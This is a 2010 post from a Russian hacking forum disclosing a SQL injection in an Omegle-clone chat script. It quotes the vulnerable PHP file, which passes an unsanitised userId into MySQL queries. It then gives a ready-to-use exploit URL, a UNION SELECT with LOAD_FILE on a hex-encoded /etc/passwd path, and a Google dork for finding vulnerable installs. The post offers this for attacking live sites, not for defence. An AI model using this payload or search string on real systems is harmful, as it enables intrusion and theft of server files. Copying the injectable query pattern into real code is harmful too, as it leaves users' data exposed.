Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   Omegle Clone SQL-INJ (https://forum.antichat.xyz/showthread.php?t=174639)

BlackSun 30.01.2010 06:45

Omegle Clone SQL-INJ
 
Версия, производитель, офф сайт и прочее не известно. Выкладываю только из за распространенности.
Зависимости: FILE_PRIV = Y, без них пользы от скули 0.

Уязвимый файл: randomChat.php и еще штук 5, все указывать нет смысла.
Уязвимый кусок кода:
PHP код:

// целиком
<?php
/* ###########################################################
 * File brought to you by kkz
 * There are big ships
 * There are small ships
 * but the best ship
 * is friendship!
 * Sharing is caring... please pass this along but leave this
  ##############################################################*/
$userId=$_REQUEST["userId"];

include(
'config.inc.php');
include(
'database.inc.php');
$randomUserId=0;

$result      =mysql_query("SELECT * FROM chats WHERE userId = $userId ");

while (
$row=mysql_fetch_array($result))
    {
    
$randomUserId=$row["randomUserId"];
    }

if (
$randomUserId == 0)
    {
    
$result=mysql_query("SELECT * FROM users WHERE id <> $userId AND inchat like 'N' ORDER BY RAND() LIMIT 1");

    while (
$row=mysql_fetch_array($result))
        {
        
$randomUserId=$row["id"];
        }

    if (
$randomUserId != 0)
        {
        
mysql_query("INSERT INTO chats (userId,randomUserId) values($userId$randomUserId) ");
        
mysql_query("INSERT INTO chats (userId,randomUserId) values($randomUserId$userId) ");

        
mysql_query("UPDATE users SET inchat='Y' WHERE id = $userId ");
        
mysql_query("UPDATE users SET inchat='Y' WHERE id = $randomUserId ");
        }
    }

echo 
$randomUserId;
mysql_close($con);
?>

Expl: randomChat.php?userId=-1+union+select+0,LOAD_FILE(0x2f6574632f70617373776 4)+AS+randomUserId+from+chats+--+-

Google: intext:"You're now chatting with a random stranger. Say hi!"


Время: 11:44